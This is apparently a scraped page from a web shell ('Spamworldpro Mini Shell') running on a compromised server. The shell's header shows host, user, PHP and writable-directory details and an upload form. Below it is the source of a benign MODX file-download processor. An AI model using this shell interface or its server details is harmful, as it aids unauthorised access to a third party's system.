Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux indy02.toastserver.com 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : palandch ( 1163)
PHP Version : 7.1.33
Disable Function : NONE
Directory :  /home/palandch/www/core/model/modx/processors/browser/file/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/palandch/www/core/model/modx/processors/browser/file/download.class.php
<?php
class modBrowserFileDownloadProcessor extends modProcessor {
    /** @var modMediaSource|modFileMediaSource $source */
    public $source;
    public function checkPermissions() {
        return $this->modx->hasPermission('file_view');
    }
    public function getLanguageTopics() {
        return array('file');
    }

    public function process() {
        $source = $this->getSource();
        if ($source !== true) {
            return $source;
        }
        if (!$this->source->checkPolicy('view')) {
            return $this->failure($this->modx->lexicon('permission_denied'));
        }
        
        if ($this->getProperty('download',false)) {
            return $this->download();
        } else {
            return $this->getObjectUrl();
        }
    }

    public function getObjectUrl() {
        /* format filename */
        $file = rawurldecode($this->getProperty('file',''));
        $url = $this->source->getObjectUrl($file);
        return $this->success('',array('url' => $url));
    }

    public function download() {
        $file = $this->getProperty('file');
        $contents = $this->source->getObjectContents($file);

        @session_write_close();
        header("Content-Type: application/force-download");
        header("Content-Disposition: attachment; filename=\"{$contents['basename']}\"");
        echo $contents['content'];
        die();
    }

    /**
     * @return boolean|string
     */
    public function getSource() {
        $source = $this->getProperty('source',1);
        /** @var modMediaSource $source */
        $this->modx->loadClass('sources.modMediaSource');
        $this->source = modMediaSource::getDefaultSource($this->modx,$source);
        if (!$this->source->getWorkingContext()) {
            return $this->modx->lexicon('permission_denied');
        }
        $this->source->setRequestProperties($this->getProperties());
        return $this->source->initialize();
    }
}
return 'modBrowserFileDownloadProcessor';

Spamworldpro Mini